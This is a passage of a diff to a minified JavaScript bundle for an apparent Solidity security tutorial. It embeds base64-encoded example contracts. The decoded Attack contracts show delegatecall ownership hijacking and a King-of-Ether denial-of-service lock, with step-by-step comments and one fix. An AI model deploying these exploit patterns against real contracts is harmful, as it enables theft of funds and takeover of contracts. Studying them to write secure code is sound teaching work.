BvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],uk=`
                                  Vulnerability
                                  
+
                                `,yk=({prev:s,next:a})=>r.jsx(u,{version:dk,title:Ck,description:jk,html:Ak,prev:s,next:a,codes:uk}),mk="0.8.24",bk="Delegatecall",wk="An example of exploits using delegatecall in Solidity",kk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],Zk=`

                                Vulnerability

                                delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

                                You must keep 2 things in mind when using delegatecall

                                @@ -7977,7 +8539,7 @@ change the owner.
                                • Use stateless Library
                                -`,yk=({prev:s,next:a})=>r.jsx(u,{version:dk,title:Ik,description:Ck,html:uk,prev:s,next:a,codes:jk}),Ak="0.8.24",mk="Denial of Service",bk="An example of denial of service hack in Solidity",wk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],kk=`

                                Vulnerability

                                +`,Wk=({prev:s,next:a})=>r.jsx(u,{version:mk,title:bk,description:wk,html:Zk,prev:s,next:a,codes:kk}),Bk="0.8.24",Gk="Denial of Service",Vk="An example of denial of service hack in Solidity",fk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],Yk=`

                                Vulnerability

                                There are many ways to attack a smart contract to make it unusable.

                                One exploit we introduce here is denial of service by making the function to send Ether fail.

                                // SPDX-License-Identifier: MIT
@@ -8068,7 +8630,7 @@ Ether sent from KingOfEther before the new king is set.
         require(sent, "Failed to send Ether");
     }
 }
-
                                `,Zk=({prev:s,next:a})=>r.jsx(u,{version:Ak,title:mk,description:bk,html:kk,prev:s,next:a,codes:wk}),Wk="0.8.24",Gk="Deploy Different Contracts at the Same Address",Bk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",Vk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvdmVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcm